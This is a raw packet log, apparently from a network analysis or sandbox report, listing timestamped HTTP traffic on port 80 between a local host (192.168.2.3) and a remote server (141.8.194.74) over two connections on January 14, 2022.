Jan 14, 2022 01:51:45.021505117 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021518946 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021537066 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021543026 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021567106 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021589041 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021620035 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021636009 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021641970 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021667957 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021708012 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.021769047 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021878004 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021953106 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.021995068 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022011042 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.022034883 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022039890 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.022074938 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022115946 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022152901 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022171021 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.022192955 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022200108 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.022231102 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022270918 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022311926 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022327900 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.022352934 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022357941 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.022392988 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022433043 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022470951 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022485971 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.022510052 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022516012 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.022551060 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022589922 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022631884 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022644043 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.022670031 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022682905 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.022711039 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022751093 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022789001 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022804976 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.022829056 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022833109 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.022866964 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022907019 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022947073 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.022959948 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.022999048 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.023003101 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023046017 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023085117 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023121119 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023134947 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.023159981 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023164034 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.023199081 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023238897 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023277998 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023297071 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.023315907 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023338079 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.023356915 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023396015 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023432970 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023453951 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.023473024 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023479939 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.023511887 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023550987 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023591995 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023605108 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.023628950 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023636103 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.023669004 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023708105 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023744106 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023757935 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.023782969 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023787975 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.023823977 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023863077 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023901939 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023914099 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.023940086 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.023945093 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.023979902 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024018049 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024055958 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024070024 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.024094105 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024101019 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.024133921 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024173021 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024213076 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024225950 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.024250031 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024256945 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.024288893 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024327040 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024365902 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024379015 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.024388075 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.024406910 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024420977 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.024446011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024486065 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024492979 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.024527073 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024564981 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024602890 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.024620056 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.024646997 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.078747988 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.078803062 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.078840971 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.078879118 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.078896046 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.078917980 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.078917980 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.078958035 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.078998089 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079011917 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.079036951 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079077005 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079093933 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.079117060 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079145908 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.079154968 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079194069 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079209089 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.079232931 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079272985 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079312086 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079330921 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.079355001 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079371929 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.079395056 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079436064 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079473972 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079492092 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.079513073 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079515934 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.079551935 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079591990 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079607964 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.079632044 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079668999 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079683065 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.079708099 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079746008 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079761028 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.079782963 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079821110 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079859972 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079875946 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.079898119 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079914093 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.079938889 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079976082 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.079994917 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.080013990 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.080053091 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.080066919 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.080090046 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.080131054 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.080147028 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.098150969 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098206043 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098244905 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098279953 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.098284960 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098324060 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098366976 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098382950 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.098408937 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098417044 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.098447084 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098488092 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098526955 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098560095 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.098565102 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098587990 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.098606110 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098645926 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098685026 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098692894 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.098726034 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098757982 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.098762989 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098803997 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098817110 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.098844051 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098856926 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.098882914 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098917961 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.098922968 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098963976 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.098984003 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.099004030 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099044085 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099073887 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.099081993 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099123955 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099127054 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.099163055 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099200010 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099240065 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099242926 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.099278927 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099292040 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.099318027 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099360943 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099397898 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099411964 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.099440098 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099442005 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.099478960 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099515915 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099555016 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099562883 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.099594116 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099602938 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.099634886 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099673986 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099711895 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099725962 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.099750042 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.099751949 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099791050 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099827051 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099867105 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099874020 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.099905014 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099909067 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.099946022 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.099984884 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100022078 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100034952 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.100061893 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100094080 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.100100994 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100140095 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100152016 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.100178957 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100218058 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100229979 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.100258112 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100300074 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100330114 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.100338936 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100378036 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100383043 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.100416899 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100472927 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100513935 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100519896 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.100553989 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100558996 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.100591898 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100630045 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100667000 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.100668907 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100708961 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100712061 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.100749016 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100785971 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100816011 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.100825071 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100864887 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100902081 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100914001 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.100940943 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.100948095 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.100980997 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101020098 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101035118 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.101063013 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101099014 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101110935 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.101139069 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101177931 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101186037 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.101216078 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101253986 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101258993 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.101294994 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101335049 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101349115 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.101377010 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101414919 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101444960 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.101454020 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101494074 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101501942 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.101532936 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101573944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101613045 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101624966 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.101654053 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101659060 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.101694107 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101731062 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101771116 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101778030 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.101810932 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101821899 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.101871014 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101927042 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.101953983 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.101993084 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.102029085 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.102068901 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.102108002 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.102111101 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.102139950 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.102148056 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.102197886 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.131824017 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.153733969 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.153788090 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.153819084 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.153870106 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.153918982 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.153954983 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.153960943 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154000998 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154038906 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154043913 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.154078960 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154119015 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154158115 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154176950 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.154198885 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154237032 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154263973 CET	49858	80	192.168.2.3	141.8.194.74
